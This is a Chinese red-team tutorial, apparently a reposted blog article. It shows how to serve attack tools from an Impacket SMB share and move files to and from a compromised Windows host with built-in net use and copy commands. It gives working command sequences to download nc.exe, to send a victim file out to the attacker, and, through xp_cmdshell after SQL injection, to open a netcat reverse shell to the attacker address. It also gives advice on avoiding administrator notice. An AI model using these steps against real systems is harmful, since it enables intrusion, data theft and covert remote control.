文章总结: 本文介绍了一种利用Impacket工具集在攻击机上搭建简易SMB文件共享服务器,并通过Windows内置netuse命令从靶机连接进行文件传输的红队技巧。该方法适用于内网环境,尤其适合缺少PowerShell或certutil等工具的老旧或受限Windows系统,能稳定实现文件上传下载。文章提供了详细操作示例,并强调了安全性、操作隐蔽性及网络连通性等注意事项。 综合评分: 85 文章分类: 红队,内网渗透,安全工具,渗透测试
红队技巧:通过Impacket的SMB服务器实现隐蔽文件传输
柠檬赏金猎人
2026年2月26日 10:00 广东
概述
获取Windows靶机的访问权限后,文件传输往往是后续操作的关键步骤。与Linux系统不同,老版本或受限的Windows环境可能缺少PowerShell、certutil等便捷工具。本文介绍一种高效可靠的方法:利用Impacket工具集在攻击机上搭建一个简易的SMB文件共享服务器,然后通过Windows内置的net use命令从靶机连接并进行文件传输。这种方法特别适用于内网环境,能够稳定地实现文件的上传与下载。
技术/功能
本方法的核心是使用 Impacket 中的 impacket-smbserver.py 脚本。
- 攻击机角色:作为SMB服务器,提供文件共享服务。
- 靶机角色:作为SMB客户端,使用Windows系统自带的
net use命令连接共享。 - 优势:无需在靶机上上传额外客户端,利用系统原生命令,兼容性高,尤其适用于老旧Windows系统。
使用示例
1. 在攻击机(Kali Linux)上启动SMB服务器
首先,准备一个用于共享的目录,例如/root/tools,其中存放了常用的渗透测试工具。
root@kali# ls /root/tools/
nc.exe mimikatz.exe winPEAS.bat accesschk.exe ...
使用Impacket启动SMB服务器,共享该目录。smb是自定义的共享名。
root@kali# impacket-smbserver smb /root/tools/
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
服务器启动后,会监听默认的445端口。
2. 在Windows靶机上连接共享并传输文件
假设攻击机的IP是10.11.0.4。
- 连接SMB共享:
C:\> net use \\10.11.0.4\smb
命令成功完成。
- 从共享复制文件到靶机(下载):
C:\> copy \\10.11.0.4\smb\nc.exe C:\Windows\Temp\nc.exe
1 个文件已复制。
- 将靶机文件复制到共享(上传):
C:\> copy C:\important.txt \\10.11.0.4\smb\
1 个文件已复制。
文件将出现在攻击机的/root/tools/目录下。
- 查看当前连接 & 断开连接:
C:\> net use // 查看所有网络连接
C:\> net use /d \\10.11.0.4\smb // 断开指定共享
C:\> net use * /d /y // 断开所有网络连接
3. 在受限环境(如通过SQL注入执行命令)中使用
当只有通过xp_cmdshell等途径执行命令时,该方法同样有效。
1> xp_cmdshell 'net use \\10.11.0.4\smb'
2> go
1> xp_cmdshell 'copy \\10.11.0.4\smb
c.exe C:\temp
c.exe'
2> go
1> xp_cmdshell 'C:\temp
c.exe -e cmd.exe 10.11.0.4 443'
2> go
注意事项
- 安全性:
impacket-smbserver默认创建的是无身份验证的共享,网络内任何主机都可以访问。切勿共享包含敏感信息(如笔记、凭证)的目录。 - 操作安全(OpSec):
- 攻击机侧:使用完毕后应及时关闭SMB服务器。服务器日志会显示连接者的IP和用户名(例如
[*] Incoming connection (10.11.1.5,3187)),请注意观察。 - 靶机侧:虽然可以使用
net use Z: \\IP\smb将共享映射为本地驱动器(Z盘),但这会创建一个新的盘符,容易被系统用户或管理员发现,隐蔽性较差。建议直接使用UNC路径(\\IP\smb\file)进行操作。
- 环境适用性:该方法依赖于SMB协议(445端口)在攻击机和靶机之间的连通性。在严格的网络环境中,出站SMB流量可能被防火墙阻止。
- Impacket安装:Kali Linux通常预装Impacket。若未安装,可使用
apt install impacket-scripts或从GitHub克隆SecureAuthCorp/impacket仓库。
参考链接
- https://github.com/SecureAuthCorp/impacket
仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:柠檬赏金猎人 《红队技巧:通过Impacket的SMB服务器实现隐蔽文件传输》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论